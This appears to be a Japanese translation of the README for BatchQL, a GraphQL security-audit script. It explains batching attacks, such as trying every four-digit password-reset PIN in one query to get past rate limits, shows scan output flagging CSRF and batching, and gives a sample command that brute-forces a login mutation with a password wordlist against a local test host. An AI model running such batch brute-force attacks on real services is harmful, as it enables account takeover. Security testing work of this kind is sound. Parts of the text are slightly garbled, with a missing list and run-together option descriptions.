
バッチGraphQLクエリとミューテーションの実行に焦点を当てたGraphQLセキュリティ監査スクリプト
BatchQLは、バッチGraphQLクエリとミューテーションの実行に焦点を当てたGraphQLセキュリティ監査スクリプトです。このスクリプトは複雑ではなく、改善を歓迎します。
GraphQLバッチ攻撃の問題領域を探求したところ、インターネット上にいくつかのブログ記事はありましたが、GraphQLバッチ攻撃を実行するツールは存在しないことがわかりました。
GraphQLバッチ攻撃は、実装されている機能によっては非常に深刻になり得ます。例えば、メールに送信された4桁のPINを期待するパスワードリセット機能を想像してください。このツールを使えば、1回のGraphQLクエリで10,000通りのPINをすべて試すことができます。これは、パスワードリセットフローの実装詳細によっては、レート制限やアカウントロックアウトを回避する可能性があります。
このツールは以下を検出できます:
現在、このツールはバッチ攻撃用のJSONリストベースのクエリの送信のみをサポートしています。変数がクエリに埋め込まれている場合や、JSON入力で提供される場合の両方のシナリオをサポートしています。
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt)を保存します:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
上記のコマンドは以下のことを行います:
--query acc-login.txt。--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080